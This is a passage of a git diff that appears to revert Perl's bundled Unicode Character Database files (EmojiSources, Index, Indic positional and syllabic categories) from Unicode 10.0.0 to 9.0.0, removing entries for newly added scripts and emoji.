EmojiSources-10.0.0.txt -# Date: 2017-02-04, 00:00:00 GMT [MS, KW] -# © 2017 Unicode®, Inc. +# EmojiSources-9.0.0.txt +# Date: 2016-01-21, 22:00:00 GMT [MS, KW] +# © 2016 Unicode®, Inc. # For terms of use, see http://www.unicode.org/terms_of_use.html # # Unicode Character Database # For documentation, see http://www.unicode.org/reports/tr44/ # -# This file provides historical mappings between Unicode code points and sequences on one hand +# This file provides mappings between Unicode code points and sequences on one hand # and Shift-JIS codes for cell phone carrier symbols on the other hand. # Each mapping is symmetric ("round trip"), for equivalent Unicode and carrier # symbols or sequences. This file does not include best-fit ("fallback") # mappings to similar but not equivalent symbols in either mapping direction. # +# Note: It is possible that future versions of this file will include +# additional data columns providing mappings for additional vendors. +# # Created for Unicode 6.0 by Markus Scherer. # Updated for subsequent versions by Ken Whistler (no changes to mappings). # # Format: Semicolon-delimited file with a fixed number of fields. -# Note that the format, including the number of fields, may change in the future. +# The number of fields may increase in the future. # # Fields: # 0: Unicode code point or sequence @@ -27,15 +30,6 @@ # Each field 1..3 contains a code if and only if the vendor character set # has a symbol which is equivalent to the Unicode character or sequence. -# ================================================ - -# Keycap sequences for telephone keypad. -# The following 11 mappings are historical. The combining character sequences -# in these mappings do not include variation selectors for emoji presentation. -# Thus they do not match the named character sequences with keycaps listed in -# NamedSequences.txt. -# For modern data used in emoji support, see http://www.unicode.org/Public/emoji/latest/ - 0023 20E3;F985;F489;F7B0 0030 20E3;F990;F7C9;F7C5 0031 20E3;F987;F6FB;F7BC @@ -47,7 +41,6 @@ 0037 20E3;F98D;F744;F7C2 0038 20E3;F98E;F745;F7C3 0039 20E3;F98F;F746;F7C4 - 00A9;F9D6;F774;F7EE 00AE;F9DB;F775;F7EF 2002;;F7AA; diff --git a/lib/unicore/HangulSyllableType.txt b/lib/unicore/HangulSyllableType.txt index 9c990d7abae6..951787bc0c23 100644 --- a/lib/unicore/HangulSyllableType.txt +++ b/lib/unicore/HangulSyllableType.txt @@ -1,6 +1,6 @@ -# HangulSyllableType-10.0.0.txt -# Date: 2017-02-14, 04:26:11 GMT -# © 2017 Unicode®, Inc. +# HangulSyllableType-9.0.0.txt +# Date: 2016-03-02, 18:55:01 GMT +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # diff --git a/lib/unicore/Index.txt b/lib/unicore/Index.txt index d9277822e32e..7cf6d0a8c1f4 100644 --- a/lib/unicore/Index.txt +++ b/lib/unicore/Index.txt @@ -545,7 +545,6 @@ BIOHAZARD SIGN 2623 BIRD 1F426 BIRGA, MONGOLIAN 1800 BISMILLAH AR-RAHMAN AR-RAHEEM, ARABIC LIGATURE FDFD -BITCOIN SIGN 20BF BLACK CIRCLE 25CF BLACK CIRCLE, MEDIUM 26AB BLACK FLAG 2691 @@ -857,7 +856,6 @@ Chinese Bopomofo 3100 Chinese Bopomofo Extensions 31A0 chinese fifth or neutral tone, mandarin 02D9 chinese first tone, mandarin 02C9 -Chinese Folk Religion Symbols 1F260 chinese fourth tone, mandarin 02CB chinese second tone, mandarin 02CA chinese third tone, mandarin 02C7 @@ -943,7 +941,6 @@ CJK Unified Ideographs Extension B 20000 CJK Unified Ideographs Extension C 2A700 CJK Unified Ideographs Extension D 2B740 CJK Unified Ideographs Extension E 2B820 -CJK Unified Ideographs Extension F 2CEB0 CLAPPING HANDS SIGN 1F44F claudian antisigma 2183 claudian digamma inversum 2132 @@ -2081,7 +2078,6 @@ FLOOR, RIGHT 230B FLOPPY DISK 1F4BE FLORAL HEART BULLET, REVERSED ROTATED 2619 florin currency symbol 0192 -FLYING SAUCER 1F6F8 folder 0192 FONGMAN, THAI CHARACTER 0E4F food available symbol 1F37D @@ -2474,8 +2470,6 @@ hedera 2767 HEH WITH YEH ABOVE, ARABIC LETTER 06C0 HELM SYMBOL 2388 HELMET WITH WHITE CROSS 26D1 -Hentaigana 1B002 -Hentaigana 1B100 HERMES, STAFF OF 269A HERMITIAN CONJUGATE MATRIX 22B9 Hexagram Symbols, Yijing / I Ching 4DC0 @@ -2551,7 +2545,6 @@ I Ching / Yijing Hexagram Symbols 4DC0 I Ching / Yijing Monogram and Digram Symbols 268A I Ching / Yijing Trigram Symbols 2630 i dot, latin capital letter 0130 -I LOVE YOU HAND SIGN 1F91F I WITH ACUTE, LATIN CAPITAL LETTER 00CD I WITH ACUTE, LATIN SMALL LETTER 00ED I WITH BREVE, LATIN SMALL LETTER 012D @@ -2815,7 +2808,6 @@ K, LATIN SUBSCRIPT SMALL LETTER 2096 KA, HIRAGANA LETTER SMALL 3095 kabusiki-gaisya 337F Kaithi 11080 -Kana Extended-A 1B100 Kana Repeat Marks 3031 Kana Supplement 1B000 Kanbun Ideographic Annotation, Japanese 3190 @@ -3222,7 +3214,6 @@ LOOP, CURLY 27B0 LOOP, DOUBLE CURLY 27BF LORRAINE, CROSS OF 2628 lorry, black 26DF -love, hand sign 1F91F LOW ACUTE ACCENT, MODIFIER LETTER 02CF LOW ASTERISK 204E low double comma quotation mark 201E @@ -3329,7 +3320,6 @@ marque de commerce 1F16A marque deposee 1F16B MARRIAGE SYMBOL 26AD mars 2642 -Masaram Gondi 11D00 MASCULINE ORDINAL INDICATOR 00BA masks of comedy and tragedy 1F3AD MASU MARK 303C @@ -3696,7 +3686,6 @@ NUMERATOR ONE, FRACTION 215F Numeric Symbols for Divination, Khmer 17F0 numerics lock 21ED NUMERO SIGN 2116 -Nushu 1B170 nut 2002 o bar, latin capital letter 019F o bar, latin small letter 0275 @@ -4093,7 +4082,6 @@ POP DIRECTIONAL ISOLATE 2069 pork (on menus) 1F416 Portrait and Role Symbols 1F464 Portrait and Role Symbols 1F930 -Portrait and Role Symbols 1F9D0 POSITION INDICATOR 2316 POSITION INDICATOR, SQUARE 2BD0 positive difference or sum 2A24 @@ -4533,7 +4521,6 @@ rofl 1F923 Role Symbols 1F481 Role Symbols, Portrait and 1F464 Role Symbols, Portrait and 1F930 -Role Symbols, Portrait and 1F9D0 ROLLING ON THE FLOOR LAUGHING 1F923 Roman Numerals 2160 Roman Numerals, Archaic 2185 @@ -4870,7 +4857,6 @@ Sora Sompeng 110D0 sound 1F50A SOUND RECORDING COPYRIGHT 2117 SOURCE, INFORMATION 2139 -Soyombo 11A50 SPACE 0020 SPACE MARK, OGHAM 1680 SPACE, EM 2003 @@ -5262,7 +5248,6 @@ SYRIAC CROSS, WEST 2670 Syriac Letters 0710 Syriac Punctuation and Signs 0700 syriac sam 070F -Syriac Supplement 0860 T WITH CARON, LATIN SMALL LETTER 0165 T WITH CEDILLA, LATIN SMALL LETTER 0163 T WITH CIRCUMFLEX BELOW, LATIN SMALL LETTER 1E71 @@ -5282,7 +5267,6 @@ T, COMBINING LATIN SMALL LETTER 036D T, LATIN LETTER SMALL CAPITAL 1D1B T, LATIN SMALL LETTER TURNED 0287 T, LATIN SUBSCRIPT SMALL LETTER 209C -T-REX 1F996 tab 0009 TAB KEY, HORIZONTAL 2B7E TAB KEY, VERTICAL 2B7F @@ -5619,9 +5603,6 @@ TWO DOT LEADER 2025 TWO DOT PUNCTUATION 205A TWO, SUPERSCRIPT 00B2 TWO-EM DASH 2E3A -Typicon Punctuation 2E44 -Typicon Symbols 1F900 -tyrannosaurus rex 1F996 U BAR, LATIN CAPITAL LETTER 0244 U BAR, LATIN SMALL LETTER 0289 U WITH ACUTE, LATIN CAPITAL LETTER 00DA @@ -5737,7 +5718,6 @@ V, LATIN SUBSCRIPT SMALL LETTER 1D65 Vai A500 valentine 2665 valid 22A8 -VAMPIRE 1F9DB varavu, tamil 0BF7 varia, greek 0300 VARIATION INDICATOR, IDEOGRAPHIC 303E @@ -6004,7 +5984,6 @@ Z WITH SWASH TAIL, LATIN SMALL LETTER 0240 Z, BLACK-LETTER CAPITAL 2128 Z, DOUBLE-STRUCK CAPITAL 2124 Z, LATIN LETTER SMALL CAPITAL 1D22 -Zanabazar Square 11A00 Zapf Dingbats Series 100, ITC 2700 ZERO WIDTH JOINER 200D ZERO WIDTH NO-BREAK SPACE FEFF @@ -6016,7 +5995,6 @@ ZERO, SUPERSCRIPT 2070 ZIGZAG ABOVE, COMBINING 035B Zodiac, Signs of the Asian 1F400 Zodiacal Symbols 2648 -ZOMBIE 1F9DF zwj 200D zwnbsp FEFF zwnj 200C diff --git a/lib/unicore/IndicPositionalCategory.txt b/lib/unicore/IndicPositionalCategory.txt index 40d8b3765f70..16a8268a252b 100644 --- a/lib/unicore/IndicPositionalCategory.txt +++ b/lib/unicore/IndicPositionalCategory.txt @@ -1,6 +1,6 @@ -# IndicPositionalCategory-10.0.0.txt -# Date: 2017-05-31, 01:07:00 GMT [RP] -# © 2017 Unicode®, Inc. +# IndicPositionalCategory-9.0.0.txt +# Date: 2016-06-09, 19:33:00 GMT [RP] +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -59,11 +59,10 @@ # Ahom, Balinese, Batak, Bengali, Bhaiksuki, Brahmi, Buginese, Buhid, # Chakma, Cham, Devanagari, Grantha, Gujarati, Gurmukhi, Hanunoo, # Javanese, Kaithi, Kannada, Kharoshthi, Khmer, Khojki, Khudawadi, -# Lao, Lepcha, Limbu, Malayalam, Marchen, Masaram Gondi, Meetei -# Mayek, Modi, Myanmar, Newa, New Tai Lue, Oriya, Rejang, Saurashtra, -# Sharada, Siddham, Sinhala, Soyombo, Sundanese, Syloti Nagri, -# Tagalog, Tagbanwa, Tai Tham, Tai Viet, Takri, Tamil, Telugu, Thai, -# Tibetan, Tirhuta, and Zanabazar Square. +# Lao, Lepcha, Limbu, Malayalam, Marchen, Meetei Mayek, Modi, +# Myanmar, Newa, New Tai Lue, Oriya, Rejang, Saurashtra, Sharada, +# Siddham, Sinhala, Sundanese, Syloti Nagri, Tagalog, Tagbanwa, Tai +# Tham, Tai Viet, Takri, Tamil, Telugu, Thai, Tibetan, and Tirhuta. # # All characters for all other scripts not in that list # take the default value for this property. @@ -180,7 +179,6 @@ 1C24..1C26 ; Right # Mc [3] LEPCHA SUBJOINED LETTER YA..LEPCHA VOWEL SIGN AA 1C2A..1C2B ; Right # Mc [2] LEPCHA VOWEL SIGN U..LEPCHA VOWEL SIGN UU 1CE1 ; Right # Mc VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA -1CF7 ; Right # Mc VEDIC SIGN ATIKRAMA A823..A824 ; Right # Mc [2] SYLOTI NAGRI VOWEL SIGN A..SYLOTI NAGRI VOWEL SIGN I A827 ; Right # Mc SYLOTI NAGRI VOWEL SIGN OO A880..A881 ; Right # Mc [2] SAURASHTRA SIGN ANUSVARA..SAURASHTRA SIGN VISARGA @@ -188,7 +186,7 @@ A8B4..A8C3 ; Right # Mc [16] SAURASHTRA CONSONANT SIGN HAARU..SAURASHTRA VOW A952..A953 ; Right # Mc [2] REJANG CONSONANT SIGN H..REJANG VIRAMA A983 ; Right # Mc JAVANESE SIGN WIGNYAN A9B4..A9B5 ; Right # Mc [2] JAVANESE VOWEL SIGN TARUNG..JAVANESE VOWEL SIGN TOLONG -A9BD..A9BE ; Right # Mc [2] JAVANESE CONSONANT SIGN KERET..JAVANESE CONSONANT SIGN PENGKAL +A9BD..A9BF ; Right # Mc [3] JAVANESE CONSONANT SIGN KERET..JAVANESE CONSONANT SIGN CAKRA AA33 ; Right # Mc CHAM CONSONANT SIGN YA AA4D ; Right # Mc CHAM CONSONANT SIGN FINAL H AA7B ; Right # Mc MYANMAR SIGN PAO KAREN TONE @@ -240,9 +238,6 @@ ABEC ; Right # Mc MEETEI MAYEK LUM IYEK 116AF ; Right # Mc TAKRI VOWEL SIGN II 116B6 ; Right # Mc TAKRI SIGN VIRAMA 11720..11721 ; Right # Mc [2] AHOM VOWEL SIGN A..AHOM VOWEL SIGN AA -11A39 ; Right # Mc ZANABAZAR SQUARE SIGN VISARGA -11A57..11A58 ; Right # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU -11A97 ; Right # Mc SOYOMBO SIGN VISARGA 11C2F ; Right # Mc BHAIKSUKI VOWEL SIGN AA 11C3E ; Right # Mc BHAIKSUKI SIGN VISARGA 11CA9 ; Right # Mc MARCHEN SUBJOINED LETTER YA @@ -340,7 +335,6 @@ AABB..AABC ; Visual_Order_Left # Lo [2] TAI VIET VOWEL AUE..TAI VIET VOWEL 0A81..0A82 ; Top # Mn [2] GUJARATI SIGN CANDRABINDU..GUJARATI SIGN ANUSVARA 0AC5 ; Top # Mn GUJARATI VOWEL SIGN CANDRA E 0AC7..0AC8 ; Top # Mn [2] GUJARATI VOWEL SIGN E..GUJARATI VOWEL SIGN AI -0AFA..0AFF ; Top # Mn [6] GUJARATI SIGN SUKUN..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B01 ; Top # Mn ORIYA SIGN CANDRABINDU 0B3F ; Top # Mn ORIYA VOWEL SIGN I 0B56 ; Top # Mn ORIYA AI LENGTH MARK @@ -356,8 +350,7 @@ AABB..AABC ; Visual_Order_Left # Lo [2] TAI VIET VOWEL AUE..TAI VIET VOWEL 0CBF ; Top # Mn KANNADA VOWEL SIGN I 0CC6 ; Top # Mn KANNADA VOWEL SIGN E 0CCC..0CCD ; Top # Mn [2] KANNADA VOWEL SIGN AU..KANNADA SIGN VIRAMA -0D00..0D01 ; Top # Mn [2] MALAYALAM SIGN COMBINING ANUSVARA ABOVE..MALAYALAM SIGN CANDRABINDU -0D3B..0D3C ; Top # Mn [2] MALAYALAM SIGN VERTICAL BAR VIRAMA..MALAYALAM SIGN CIRCULAR VIRAMA +0D01 ; Top # Mn MALAYALAM SIGN CANDRABINDU 0D4D ; Top # Mn MALAYALAM SIGN VIRAMA 0DCA ; Top # Mn SINHALA SIGN AL-LAKUNA 0DD2..0DD3 ; Top # Mn [2] SINHALA VOWEL SIGN KETTI IS-PILLA..SINHALA VOWEL SIGN DIGA IS-PILLA @@ -485,22 +478,10 @@ ABE5 ; Top # Mn MEETEI MAYEK VOWEL SIGN ANAP 11722..11723 ; Top # Mn [2] AHOM VOWEL SIGN I..AHOM VOWEL SIGN II 11727 ; Top # Mn AHOM VOWEL SIGN AW 11729..1172B ; Top # Mn [3] AHOM VOWEL SIGN AI..AHOM SIGN KILLER -11A01 ; Top # Mn ZANABAZAR SQUARE VOWEL SIGN I -11A04..11A09 ; Top # Mn [6] ZANABAZAR SQUARE VOWEL SIGN E..ZANABAZAR SQUARE VOWEL SIGN REVERSED I -11A35..11A38 ; Top # Mn [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA -11A51 ; Top # Mn SOYOMBO VOWEL SIGN I -11A54..11A56 ; Top # Mn [3] SOYOMBO VOWEL SIGN E..SOYOMBO VOWEL SIGN OE -11A96 ; Top # Mn SOYOMBO SIGN ANUSVARA -11A98 ; Top # Mn SOYOMBO GEMINATION MARK 11C30..11C31 ; Top # Mn [2] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN II 11C38..11C3D ; Top # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA 11CB3 ; Top # Mn MARCHEN VOWEL SIGN E 11CB5..11CB6 ; Top # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D31..11D35 ; Top # Mn [5] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN UU -11D3A ; Top # Mn MASARAM GONDI VOWEL SIGN E -11D3C..11D3D ; Top # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O -11D3F..11D41 ; Top # Mn [3] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI SIGN VISARGA -11D43 ; Top # Mn MASARAM GONDI SIGN CANDRA # Indic_Positional_Category=Bottom @@ -620,22 +601,11 @@ ABED ; Bottom # Mn MEETEI MAYEK APUN IYEK 1171D ; Bottom # Mn AHOM CONSONANT SIGN MEDIAL LA 11724..11725 ; Bottom # Mn [2] AHOM VOWEL SIGN U..AHOM VOWEL SIGN UU 11728 ; Bottom # Mn AHOM VOWEL SIGN O -11A02..11A03 ; Bottom # Mn [2] ZANABAZAR SQUARE VOWEL SIGN UE..ZANABAZAR SQUARE VOWEL SIGN U -11A0A ; Bottom # Mn ZANABAZAR SQUARE VOWEL LENGTH MARK -11A33..11A34 ; Bottom # Mn [2] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN VIRAMA -11A3B..11A3E ; Bottom # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA -11A52..11A53 ; Bottom # Mn [2] SOYOMBO VOWEL SIGN UE..SOYOMBO VOWEL SIGN U -11A59..11A5B ; Bottom # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK -11A8A..11A95 ; Bottom # Mn [12] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO FINAL CONSONANT SIGN -A 11C32..11C36 ; Bottom # Mn [5] BHAIKSUKI VOWEL SIGN U..BHAIKSUKI VOWEL SIGN VOCALIC L 11C3F ; Bottom # Mn BHAIKSUKI SIGN VIRAMA 11C92..11CA7 ; Bottom # Mn [22] MARCHEN SUBJOINED LETTER KA..MARCHEN SUBJOINED LETTER ZA 11CAA..11CB0 ; Bottom # Mn [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA 11CB2 ; Bottom # Mn MARCHEN VOWEL SIGN U -11D36 ; Bottom # Mn MASARAM GONDI VOWEL SIGN VOCALIC R -11D42 ; Bottom # Mn MASARAM GONDI SIGN NUKTA -11D44 ; Bottom # Mn MASARAM GONDI SIGN HALANTA -11D47 ; Bottom # Mn MASARAM GONDI RA-KARA # Indic_Positional_Category=Top_And_Bottom @@ -679,10 +649,6 @@ ABED ; Bottom # Mn MEETEI MAYEK APUN IYEK 1B3B ; Bottom_And_Right # Mc BALINESE VOWEL SIGN RA REPA TEDUNG A9C0 ; Bottom_And_Right # Mc JAVANESE PANGKON -# Indic_Positional_Category=Bottom_And_Left - -A9BF ; Bottom_And_Left # Mc JAVANESE CONSONANT SIGN CAKRA - # Indic_Positional_Category=Top_And_Bottom_And_Right 1B3D ; Top_And_Bottom_And_Right # Mc BALINESE VOWEL SIGN LA LENGA TEDUNG diff --git a/lib/unicore/IndicSyllabicCategory.txt b/lib/unicore/IndicSyllabicCategory.txt index fcd40af9327b..d6c6162826d2 100644 --- a/lib/unicore/IndicSyllabicCategory.txt +++ b/lib/unicore/IndicSyllabicCategory.txt @@ -1,6 +1,6 @@ -# IndicSyllabicCategory-10.0.0.txt -# Date: 2017-05-31, 01:07:00 GMT [KW, RP] -# © 2017 Unicode®, Inc. +# IndicSyllabicCategory-9.0.0.txt +# Date: 2016-05-21, 02:46:00 GMT [RP] +# © 2016 Unicode®, Inc. # Unicode and the Unicode Logo are registered trademarks of Unicode, Inc. in the U.S. and other countries. # For terms of use, see http://www.unicode.org/terms_of_use.html # @@ -21,7 +21,7 @@ # of Indic script characters which are relevant to how Indic # syllables (or aksaras) are constructed. Note that rules for # syllabic structure in Indic scripts may differ significantly -# from how phonological syllables are defined. +# from how phonological syllables are defined. # # Format: # Field 0 Unicode code point value or range of code point values @@ -38,12 +38,11 @@ # Ahom, Balinese, Batak, Bengali, Bhaiksuki, Brahmi, Buginese, Buhid, # Chakma, Cham, Devanagari, Grantha, Gujarati, Gurmukhi, Hanunoo, # Javanese, Kaithi, Kannada, Kayah Li, Kharoshthi, Khmer, Khojki, -# Khudawadi, Lao, Lepcha, Limbu, Mahajani, Malayalam, Marchen, -# Masaram Gondi, Meetei Mayek, Modi, Multani, Myanmar, Newa, New Tai -# Lue, Oriya, Phags-pa, Rejang, Saurashtra, Sharada, Siddham, -# Sinhala, Soyombo, Sundanese, Syloti Nagri, Tagalog, Tagbanwa, Tai -# Le, Tai Tham, Tai Viet, Takri, Tamil, Telugu, Thai, Tibetan, -# Tirhuta, and Zanabazar Square. +# Khudawadi, Lao, Lepcha, Limbu, Mahajani, Malayalam, Marchen, Meetei +# Mayek, Modi, Multani, Myanmar, Newa, New Tai Lue, Oriya, Phags-pa, +# Rejang, Saurashtra, Sharada, Siddham, Sinhala, Sundanese, Syloti +# Nagri, Tagalog, Tagbanwa, Tai Le, Tai Tham, Tai Viet, Takri, Tamil, +# Telugu, Thai, Tibetan, and Tirhuta. # # All characters for all other scripts not in that list # take the default value for this property, unless they @@ -64,13 +63,13 @@ # Indic_Syllabic_Category=Bindu # Bindu/Anusvara (nasalization or -n) +# Excludes various Vedic nasalization signs. # [Not derivable] 0900..0902 ; Bindu # Mn [3] DEVANAGARI SIGN INVERTED CANDRABINDU..DEVANAGARI SIGN ANUSVARA 0981 ; Bindu # Mn BENGALI SIGN CANDRABINDU 0982 ; Bindu # Mc BENGALI SIGN ANUSVARA -09FC ; Bindu # Lo BENGALI LETTER VEDIC ANUSVARA 0A01..0A02 ; Bindu # Mn [2] GURMUKHI SIGN ADAK BINDI..GURMUKHI SIGN BINDI 0A70 ; Bindu # Mn GURMUKHI TIPPI 0A81..0A82 ; Bindu # Mn [2] GUJARATI SIGN CANDRABINDU..GUJARATI SIGN ANUSVARA @@ -81,7 +80,6 @@ 0C01..0C02 ; Bindu # Mc [2] TELUGU SIGN CANDRABINDU..TELUGU SIGN ANUSVARA 0C81 ; Bindu # Mn KANNADA SIGN CANDRABINDU 0C82 ; Bindu # Mc KANNADA SIGN ANUSVARA -0D00 ; Bindu # Mn MALAYALAM SIGN COMBINING ANUSVARA ABOVE 0D01 ; Bindu # Mn MALAYALAM SIGN CANDRABINDU 0D02 ; Bindu # Mc MALAYALAM SIGN ANUSVARA 0D82 ; Bindu # Mc SINHALA SIGN ANUSVARAYA @@ -92,7 +90,6 @@ 1036 ; Bindu # Mn MYANMAR SIGN ANUSVARA 17C6 ; Bindu # Mn KHMER SIGN NIKAHIT 1932 ; Bindu # Mn LIMBU SMALL LETTER ANUSVARA -1A74 ; Bindu # Mn TAI THAM SIGN MAI KANG 1B00..1B02 ; Bindu # Mn [3] BALINESE SIGN ULU RICEM..BALINESE SIGN CECEK 1B80 ; Bindu # Mn SUNDANESE SIGN PANYECEK 1C34..1C35 ; Bindu # Mc [2] LEPCHA CONSONANT SIGN NYIN-DO..LEPCHA CONSONANT SIGN KANG @@ -100,7 +97,6 @@ A80B ; Bindu # Mn SYLOTI NAGRI SIGN ANUSVARA A873 ; Bindu # Lo PHAGS-PA LETTER CANDRABINDU A880 ; Bindu # Mc SAURASHTRA SIGN ANUSVARA A8C5 ; Bindu # Mn SAURASHTRA SIGN CANDRABINDU -A8F2..A8F3 ; Bindu # Lo [2] DEVANAGARI SIGN SPACING CANDRABINDU..DEVANAGARI SIGN CANDRABINDU VIRAMA A980..A981 ; Bindu # Mn [2] JAVANESE SIGN PANYANGGA..JAVANESE SIGN CECAK 10A0E ; Bindu # Mn KHAROSHTHI SIGN ANUSVARA 11000 ; Bindu # Mc BRAHMI SIGN CANDRABINDU @@ -112,17 +108,13 @@ A980..A981 ; Bindu # Mn [2] JAVANESE SIGN PANYANGGA..JAVANESE SIGN CECAK 112DF ; Bindu # Mn KHUDAWADI SIGN ANUSVARA 11300..11301 ; Bindu # Mn [2] GRANTHA SIGN COMBINING ANUSVARA ABOVE..GRANTHA SIGN CANDRABINDU 11302 ; Bindu # Mc GRANTHA SIGN ANUSVARA -1135E..1135F ; Bindu # Lo [2] GRANTHA LETTER VEDIC ANUSVARA..GRANTHA LETTER VEDIC DOUBLE ANUSVARA 11443..11444 ; Bindu # Mn [2] NEWA SIGN CANDRABINDU..NEWA SIGN ANUSVARA 114BF..114C0 ; Bindu # Mn [2] TIRHUTA SIGN CANDRABINDU..TIRHUTA SIGN ANUSVARA 115BC..115BD ; Bindu # Mn [2] SIDDHAM SIGN CANDRABINDU..SIDDHAM SIGN ANUSVARA 1163D ; Bindu # Mn MODI SIGN ANUSVARA 116AB ; Bindu # Mn TAKRI SIGN ANUSVARA -11A35..11A38 ; Bindu # Mn [4] ZANABAZAR SQUARE SIGN CANDRABINDU..ZANABAZAR SQUARE SIGN ANUSVARA -11A96 ; Bindu # Mn SOYOMBO SIGN ANUSVARA 11C3C..11C3D ; Bindu # Mn [2] BHAIKSUKI SIGN CANDRABINDU..BHAIKSUKI SIGN ANUSVARA 11CB5..11CB6 ; Bindu # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU -11D40 ; Bindu # Mn MASARAM GONDI SIGN ANUSVARA # ================================================ @@ -131,7 +123,7 @@ A980..A981 ; Bindu # Mn [2] JAVANESE SIGN PANYANGGA..JAVANESE SIGN CECAK # Visarga (-h) # Includes specialized case for Sanskrit: ardhavisarga # Excludes letters for jihvamuliya and upadhmaniya, which are -# related, but structured somewhat differently. +# related, but structured somewhat differently. # [Not derivable] @@ -164,10 +156,7 @@ AAF5 ; Visarga # Mc MEETEI MAYEK VOWEL SIGN VISARGA 115BE ; Visarga # Mc SIDDHAM SIGN VISARGA 1163E ; Visarga # Mc MODI SIGN VISARGA 116AC ; Visarga # Mc TAKRI SIGN VISARGA -11A39 ; Visarga # Mc ZANABAZAR SQUARE SIGN VISARGA -11A97 ; Visarga # Mc SOYOMBO SIGN VISARGA 11C3E ; Visarga # Mc BHAIKSUKI SIGN VISARGA -11D41 ; Visarga # Mn MASARAM GONDI SIGN VISARGA # ================================================ @@ -198,19 +187,14 @@ AAF5 ; Visarga # Mc MEETEI MAYEK VOWEL SIGN VISARGA # Indic_Syllabic_Category=Nukta # Nukta (diacritic for borrowed consonants or other consonant -# modifications). Note that while the resulting sound is typically a -# consonant, the base letter a nukta follows may be an independent -# vowel. For example, is used to transcribe ARABIC LETTER -# AIN. +# modifications) -# [Not derivable] +# [Derivation: (ccc=7) + 0F39 + 10A38..10A3A - 1037 - 1E94A] 093C ; Nukta # Mn DEVANAGARI SIGN NUKTA 09BC ; Nukta # Mn BENGALI SIGN NUKTA 0A3C ; Nukta # Mn GURMUKHI SIGN NUKTA 0ABC ; Nukta # Mn GUJARATI SIGN NUKTA -0AFD..0AFF ; Nukta # Mn [3] GUJARATI SIGN THREE-DOT NUKTA ABOVE..GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE 0B3C ; Nukta # Mn ORIYA SIGN NUKTA 0CBC ; Nukta # Mn KANNADA SIGN NUKTA 0F39 ; Nukta # Mn TIBETAN MARK TSA -PHRU @@ -229,7 +213,6 @@ A9B3 ; Nukta # Mn JAVANESE SIGN CECAK TELU 114C3 ; Nukta # Mn TIRHUTA SIGN NUKTA 115C0 ; Nukta # Mn SIDDHAM SIGN NUKTA 116B7 ; Nukta # Mn TAKRI SIGN NUKTA -11D42 ; Nukta # Mn MASARAM GONDI SIGN NUKTA # ================================================ @@ -278,8 +261,6 @@ A9C0 ; Virama # Mc JAVANESE PANGKON # [Not derivable] -0D3B ; Pure_Killer # Mn MALAYALAM SIGN VERTICAL BAR VIRAMA -0D3C ; Pure_Killer # Mn MALAYALAM SIGN CIRCULAR VIRAMA 0E3A ; Pure_Killer # Mn THAI CHARACTER PHINTHU 0E4E ; Pure_Killer # Mn THAI CHARACTER YAMAKKAN 0F84 ; Pure_Killer # Mn TIBETAN MARK HALANTA @@ -287,7 +268,6 @@ A9C0 ; Virama # Mc JAVANESE PANGKON 1714 ; Pure_Killer # Mn TAGALOG SIGN VIRAMA 1734 ; Pure_Killer # Mn HANUNOO SIGN PAMUDPOD 17D1 ; Pure_Killer # Mn KHMER SIGN VIRIAM -1A7A ; Pure_Killer # Mn TAI THAM SIGN RA HAAM 1BAA ; Pure_Killer # Mc SUNDANESE SIGN PAMAAEH 1BF2..1BF3 ; Pure_Killer # Mc [2] BATAK PANGOLAT..BATAK PANONGONAN A806 ; Pure_Killer # Mn SYLOTI NAGRI SIGN HASANTA @@ -296,8 +276,6 @@ ABED ; Pure_Killer # Mn MEETEI MAYEK APUN IYEK 11134 ; Pure_Killer # Mn CHAKMA MAAYYAA 112EA ; Pure_Killer # Mn KHUDAWADI SIGN VIRAMA 1172B ; Pure_Killer # Mn AHOM SIGN KILLER -11A34 ; Pure_Killer # Mn ZANABAZAR SQUARE SIGN VIRAMA -11D44 ; Pure_Killer # Mn MASARAM GONDI SIGN HALANTA # ================================================ @@ -314,9 +292,6 @@ ABED ; Pure_Killer # Mn MEETEI MAYEK APUN IYEK AAF6 ; Invisible_Stacker # Mn MEETEI MAYEK VIRAMA 10A3F ; Invisible_Stacker # Mn KHAROSHTHI VIRAMA 11133 ; Invisible_Stacker # Mn CHAKMA VIRAMA -11A47 ; Invisible_Stacker # Mn ZANABAZAR SQUARE SUBJOINER -11A99 ; Invisible_Stacker # Mn SOYOMBO SUBJOINER -11D45 ; Invisible_Stacker # Mn MASARAM GONDI VIRAMA # ================================================ @@ -397,22 +372,15 @@ ABD1 ; Vowel_Independent # Lo MEETEI MAYEK LETTER ATIYA 115D8..115DB ; Vowel_Independent # Lo [4] SIDDHAM LETTER THREE-CIRCLE ALTERNATE I..SIDDHAM LETTER ALTERNATE U 11600..1160D ; Vowel_Independent # Lo [14] MODI LETTER A..MODI LETTER AU 11680..11689 ; Vowel_Independent # Lo [10] TAKRI LETTER A..TAKRI LETTER AU -11A00 ; Vowel_Independent # Lo ZANABAZAR SQUARE LETTER A -11A50 ; Vowel_Independent # Lo SOYOMBO LETTER A 11C00..11C08 ; Vowel_Independent # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI 